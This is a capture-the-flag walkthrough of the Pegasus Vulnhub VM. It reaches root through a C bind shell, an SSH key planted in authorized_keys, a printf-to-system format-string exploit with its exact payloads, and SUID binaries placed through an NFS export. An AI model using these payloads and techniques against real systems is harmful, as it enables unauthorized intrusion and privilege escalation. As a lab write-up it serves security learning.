Tackling the Pegasus

So, I lied two months ago when I said I would start posting more... I've been so caught up with work and school and haven't had as much time as I'd have liked for infosec stuff. Anyways, there was a new VM released on Vulnhub called Pegasus by Knapsy (blog). It is labeled as an intermediate VM, which honestly aside from the binary part, I found it to be relatively easy.

First and foremost, I have to give a huge shoutout to leonjza (blog) for helping me out with the binary part of the challenge. I learned a ton from him, and will forever be thankful ;)

So, lets get started!

Recon

First, like always we'll run a netdiscover to find the IP of the box.

root@shadow ~/vulnhub/pegasus$ netdiscover -i eth1 -r 192.168.56.0/24

Which gives us the IP of pegasus, which is 192.168.56.202.

Running an nmap scan gives us the following ports.

Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-14 12:01 EST
Nmap scan report for 192.168.56.202
Host is up, received arp-response (0.000095s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
111/tcp   open  rpcbind syn-ack 2-4 (RPC #100000)
8088/tcp  open  http    syn-ack nginx 1.1.19
41306/tcp open  status  syn-ack 1 (RPC #100024)
MAC Address: 08:00:27:88:F8:40 (Cadmus Computer Systems)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.18 seconds

So, disregarding SSH and RPC, we can safely assume that our attack point is going to be the webserver. Opening 192.168.56.202:8088 in IceWeasel gives us a fine looking Pegasus.

Of course after spending some time looking for stego in the picture, I came to the conclusion that there was nothing interesting with the picture. So, I whipped out dirb and let it have a crack at it.

I initially got submit.php, however when I tried to look at it, all I got was

No data to process.

Of course, there had to be some sort of form that sent data to submit.php. After a while, and several wordlists, I finally found codereview.php.

-----------------
DIRB v2.21    
By The Dark Raver
-----------------

START_TIME: Wed Jan 14 12:19:44 2015
URL_BASE: http://192.168.56.202:8088/
WORDLIST_FILES: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
OPTION: Not Stoping on warning messages
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 219174                                                        
(!) WARNING: Wordlist is too large. This will take a long time to end.
    (Use mode '-w' if you want to scan anyway)

---- Scanning URL: http://192.168.56.202:8088/ ----
+ http://192.168.56.202:8088/submit.php (CODE:200|SIZE:19)                                                                                                                                                   
+ http://192.168.56.202:8088/codereview.php (CODE:200|SIZE:488)

Reviewing the codes

Okay, so now we have a form to send data with. But what data?

Looks like we will be sending some sort of code, but which? After many attempts at sending BASH, Python, PHP, Perl, and others, I finally attempted to send system(), which it didn't like so much.

So, we're on the right track. Chances are, this is looking for C.

Now, I'm a little rusty with writing my own reverse shells in C, so I took to the Google to find one. I eventually came across this which gave a nice little bind shell, without using the system() function. Now I could connect with netcat on port 4444.

root@shadow /usr/share/dirbuster/wordlists$ nc 192.168.56.202 4444  
whoami; id
mike
uid=1001(mike) gid=1001(mike) groups=1001(mike)

And we're in! Now, I don't particularly like non-TTY shells, do you? Easy way around this, is to through our SSH public key into their authorized keys file.

root@shadow ~/vulnhub/pegasus$ nc 192.168.56.202 4444
echo "ssh-rsa ...... root@shadow" > /home/mike/.ssh/authorized_keys
^C
root@shadow ~/vulnhub/pegasus$ ssh mike@192.168.56.202
The authenticity of host '192.168.56.202 (192.168.56.202)' can't be established.
ECDSA key fingerprint is c5:f0:be:e5:c0:9c:28:6e:23:5c:48:38:8b:4a:c4:43.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.56.202' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Wed Jan 14 12:33:33 AEDT 2015

  System load:  0.01              Processes:           89
  Usage of /:   7.6% of 18.32GB   Users logged in:     0
  Memory usage: 15%               IP address for eth0: 192.168.56.202
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/


Your Hardware Enablement Stack (HWE) is supported until April 2017.

You have mail.
Last login: Tue Dec 23 18:12:39 2014 from 192.168.56.175
mike@pegasus:~$ 

And we're in!

You've got mail!

So right away when loggin in, we see that we have unread mail. Lets see what is there!

mike@pegasus:~$ cat /var/mail/mike 
From john@pegasus  Tue Nov 18 17:49:37 2014
Return-Path: <john@pegasus>
X-Original-To: mike@pegasus
Delivered-To: mike@pegasus
Received: by pegasus (Postfix, from userid 1000)
    id C44858098C; Tue, 18 Nov 2014 17:49:37 +1100 (EST)
Date: Tue, 18 Nov 2014 17:49:37 +1100
From: John Wall <john@pegasus>
To: mike@pegasus
Subject: Code for review
Message-ID: <20141118064937.GA3880@pegasus>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Status: RO
Content-Length: 327
Lines: 8

Hi Mike,

I've crafted something simple in C, treating it as a refresher course for myself (it's been YEARS since I last coded something up) - would you mind reviewing it for me?

I've put the binary in your home directory for convenience. You can also find the source code under our local git repo: my_first.git

Thanks!
John

So, John made a binary in C, and put it into our home directory. Doesn't that just scream out "SUID"? There is also the source available. It isn't as simple as just looking at it though. my_first.git is the .git folder inside a directory, so we have to recreate this. Here is how I did that.

mike@pegasus:~$ mkdir git
mike@pegasus:~$ cp -r /opt/git/my_first.git git/.git
mike@pegasus:~$ cd git/
mike@pegasus:~/git$ ls
mike@pegasus:~/git$ git init
Reinitialized existing Git repository in /home/mike/git/.git/
mike@pegasus:~/git$ ls
mike@pegasus:~/git$ git log
commit 85365946a8142c52ee6040a029dd069b514c2ab0
Author: Mike Ross <mike@pegasus.(none)>
Date:   Tue Nov 25 04:48:01 2014 +1100

    Committing some security fixes

commit 0a8af1ed956518ec078b152ad7571105e2df26c6
Author: John Wall <john@pegasus.(none)>
Date:   Tue Nov 25 04:39:42 2014 +1100

    initial commit
mike@pegasus:~/git$ git checkout 85365946a8142c52ee6040a029dd069b514c2ab0
Note: checking out '85365946a8142c52ee6040a029dd069b514c2ab0'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b new_branch_name

HEAD is now at 8536594... Committing some security fixes
mike@pegasus:~/git$ ls
main.c
mike@pegasus:~/git$

Now we see that there were some security fixes. Maybe this binary was before those commits.

mike@pegasus:~/git$ git checkout 0a8af1ed956518ec078b152ad7571105e2df26c6
Previous HEAD position was 8536594... Committing some security fixes
HEAD is now at 0a8af1e... initial commit

Lets see if there are any vulnerabilities...

mike@pegasus:~/git$ cat main.c | grep printf
printf("WELCOME TO MY FIRST TEST PROGRAM\n");
printf("--------------------------------\n");
printf("Select your tool:\n");
printf("[1] Calculator\n");
printf("[2] String replay\n");
printf("[3] String reverse\n");
printf("[4] Exit\n\n");
    printf("Selection: ");
                printf("\nError: Incorrect selection!\n\n");
        printf("\nBye!\n");
printf("\nEnter first number: ");
    printf("Enter second number: ");
            printf("Error details: ");
            printf(err_check);  # <----- this one!!!!!!!!!
            printf("\n");
            printf("Result: %i + %i = %i\n\n", numA, numB, sum);
        printf("\nBye!\n");
    printf("\nBye!\n");
printf("\nEnter a string: ");
    printf("You entered: %s\n", input);
    printf("\nBye!\n");
printf("\nError: Not yet implemented!\n\n");
printf("\nGoodbye!\n");
mike@pegasus:~/git$

#<----- this one!!!!!!!!! wasn't actually in the code, but does that look like a format string vulnerability? I think so... :(

I dun like format strings...

So right off the bat, I gotta once again thank leonjza for helping me out though this. He has a great asciinema video on his blog that he made for me, and helped a LOT. Chances are I won't be very good at explaining this, so if you don't understand, his video is great to watch.

Looking at the program, we can easily show that this is in fact vulnerable to a format string.

mike@pegasus:~$ ./my_first 
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 1

Enter first number: %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Enter second number: %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Error details: bf8728dcab761f160b7791ac0b77bdff4b77be918bf8728e07825782578257825782578257825782578257825782578257825782578257825a78250

We can write four A's to the stack, and try to find the offset. Turns out, it is 8.

mike@pegasus:~$ printf '1\n1\nAAAA.0x%%8$x\n4\n' | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection:
Enter first number: Enter second number: Error details: AAAA.0x41414141

Selection:
Goodbye!
mike@pegasus:~$

Before we get into the actual exploit, lets take the time to 'disable' ASLR. Since this is a 32 bit machine, we can easily do this with ulimit -s unlimited.

So, the over all goal of this, is to rewrite the address of printf() to point to system(), so we need to find those addresses. Using objdump we can find the address of printf(), and with gdb we can find the address of system().

mike@pegasus:~$ objdump -R ./my_first
...
08049bfc R_386_JUMP_SLOT   printf

So, printf() lives at 0x08049bfc. Now to find system().

mike@pegasus:~$ gdb -q ./my_first 
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x804850f
(gdb) run
Starting program: /home/mike/my_first 

Breakpoint 1, 0x0804850f in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x40069060 <system>
(gdb)

So now we have our two addresses.
printf() = 0x08049bfc and system() = 0x40069060

So, we can pipe our payload into a file called payload and we can try to run with gdb.

mike@pegasus:~$ printf '1\n1\n\xfc\x9b\x04\x08%%8$n' > payload
mike@pegasus:~$ gdb -q ./my_first 
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) r < payload
Starting program: /home/mike/my_first < payload
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: ��

Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()

A little explaination for our payload. We are trying to write to the address 0x40069060 which is our address of printf(). We are using printf's %n to do this.

So, we'll focus of 9060 for right now. We have writen 4 bytes already, so we need to write 0x9060-0x4 in decimal. Python can easily find this.

mike@pegasus:~$ python -c 'print 0x9060-0x4'
36956

Putting that into our payload and running in gdb shows that we have successfully written 9bfc into the second half of the address.

mike@pegasus:~$ printf '1\n1\n\xfc\x9b\x04\x08%%36956u%%8$n' > payload
mike@pegasus:~$ gdb -q ./my_first 
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) run < payload
Starting program: /home/mike/my_first < payload
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details: ��
...
Program received signal SIGSEGV, Segmentation fault.
0x00009060 in ?? ()

Now to get the first half.

mike@pegasus:~$ printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%9$n' > payload
mike@pegasus:~$ gdb -q ./my_first 
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) run < payload
Starting program: /home/mike/my_first < t
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details:
...
Program received signal SIGSEGV, Segmentation fault.
0x90609060 in ?? ()

Notice since we wrote 4 more bytes, 36956 became 36952 due to padding.

Now we'll get the next decimal number to pad with python. Note we had to add the least significant bit to make the number positive.

mike@pegasus:~$ python -c 'print 0x14006-0x9060'
44966

Putting this number in just like the first finishes (well almost) our exploit!

mike@pegasus:~$ printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%%36952u%%8$n%%44966u%%9$n' > payload
mike@pegasus:~$ gdb -q ./my_first 
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) run < payload
Starting program: /home/mike/my_first < payload
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 
Enter first number: Enter second number: Error details:
...
sh: 1: Selection:: not found

Program received signal SIGSEGV, Segmentation fault.
0x08c39f86 in ?? ()

Hooray! It worked! sh: 1: Selection:: not found shows that we have changed from printf("Selection:") to system("Selection:"). Lets make that file!

mike@pegasus:~$ cat Selection\: 
cp /bin/dash /tmp/dash
chmod +s /tmp/dash
mike@pegasus:~$ chmod +x Selection\: 
mike@pegasus:~$ export PATH=$PATH:.
mike@pegasus:~$ cat payload | ./my_first
...
mike@pegasus:~$ ls -la /tmp
total 108
drwxrwxrwt  2 root root   4096 Jan 14 13:44 .
drwxr-xr-x 22 root root   4096 Nov 19 02:58 ..
-rwsr-sr-x  1 john mike 100284 Jan 14 13:44 dash
mike@pegasus:~$ /tmp/dash
$ whoami;id
john
uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike)
$

Hooray!!

NFS? More like N-F-Yes!

Right away I copied my SSH public key over to john's authorizedkeys file. Using a little shell, I was able to get write privileges to john's authorizedkeys file.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
setreuid(geteuid(), geteuid());
setregid(geteuid(), geteuid());

execv("/bin/dash", argv);
return 0;
}

Once logging in, we can quickly show that john is able to run a sudo command.

john@pegasus:~$ sudo -l
Matching Defaults entries for john on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on this host:
    (root) NOPASSWD: /usr/local/sbin/nfs

So, of course we start this up right away.

john@pegasus:~$ sudo /usr/local/sbin/nfs start
 * Exporting directories for NFS kernel daemon...    [ OK ] 
 * Starting NFS kernel daemon 

And we can try to mount this in Kali. Maybe and permissions (like SUID) will carry over if I write to somewhere.

 root@shadow /mnt$ mkdir nfs                                                                                                                                                                               
/bin/mkdir: created directory `nfs'
root@shadow /mnt$ mount 192.168.56.202:/opt/nfs nfs
root@shadow /mnt$ cd nfs
root@shadow /mnt/nfs$ ls
root@shadow /mnt/nfs$ cat lol.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
    setreuid(geteuid(), geteuid());
    setregid(geteuid(), geteuid());

    execv("/bin/dash", argv);
    return 0;
}
root@shadow /mnt/nfs$ gcc -o r00t lol.c -m32
root@shadow /mnt/nfs$ chmod +s r00t

And, heading back into john's SSH session, we can try to run that new SUID binary.

And..........

john@pegasus:/opt/nfs$ ls -la
total 20
drwxr-xr-x 2 root root 4096 Jan 14 14:03 .
drwxr-xr-x 5 root root 4096 Nov 18 20:51 ..
-rw-r--r-- 1 root root  202 Jan 14 13:59 lol.c
-rwsr-sr-x 1 root root 5227 Jan 14 14:03 r00t
john@pegasus:/opt/nfs$ ./r00t 
# whoami; id
root
uid=0(root) gid=0(root) groups=0(root),1000(john)
#

And there we have it! Root access to the box.

Flag

# cat /root/flag
               ,
               |`\        
              /'_/_   
            ,'_/\_/\_                       ,   
          ,'_/\'_\_,/_                    ,'| 
        ,'_/\_'_ \_ \_/                _,-'_/
      ,'_/'\_'_ \_ \'_,\           _,-'_,-/ \,      Pegasus is one of the best
    ,' /_\ _'_ \_ \'_,/       __,-'<_,' _,\_,/      known creatures in Greek
   ( (' )\/(_ \_ \'_,\   __--' _,-_/_,-',_/ _\      mythology. He is a winged
    \_`\> 6` 7  \'_,/ ,-' _,-,'\,_'_ \,_/'_,\       stallion usually depicted
     \/-  _/ 7 '/ _,' _/'\_  \,_'_ \_ \'_,/         as pure white in color.
      \_'/>   7'_/' _/' \_ '\,_'_ \_ \'_,\          Symbol of wisdom and fame.
        >/  _ ,V  ,<  \__ '\,_'_ \_ \'_,/
      /'_  ( )_)\/-,',__ '\,_'_,\_,\'_\             Fun fact: Pegasus was also
     ( ) \_ \|_  `\_    \_,/'\,_'_,/'               a video game system sold in
      \\_  \_\_)    `\_                             Poland, Serbia and Bosnia.
       \_)   >        `\_                           It was a hardware clone of
            /  `,      |`\_                         the Nintendo Famicom.
           /    \     / \ `\
          /   __/|   /  /  `\  
         (`  (   (` (_  \   /   
         /  ,/    |  /  /   \   
        / ,/      | /   \   `\_ 
      _/_/        |/    /__/,_/
     /_(         /_( 


CONGRATULATIONS! You made it :)

Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you
learnt a thing or two while doing it! :)

Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and
providing first review.

Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode
and leave some feedback, I would love to hear from you!

Also, make sure to follow @VulnHub on Twitter and keep checking vulnhub.com for
more awesome boot2root VMs!

Thank you Knaps for a great challenge!

(And once again thanks leonjza for teaching me how to format string!)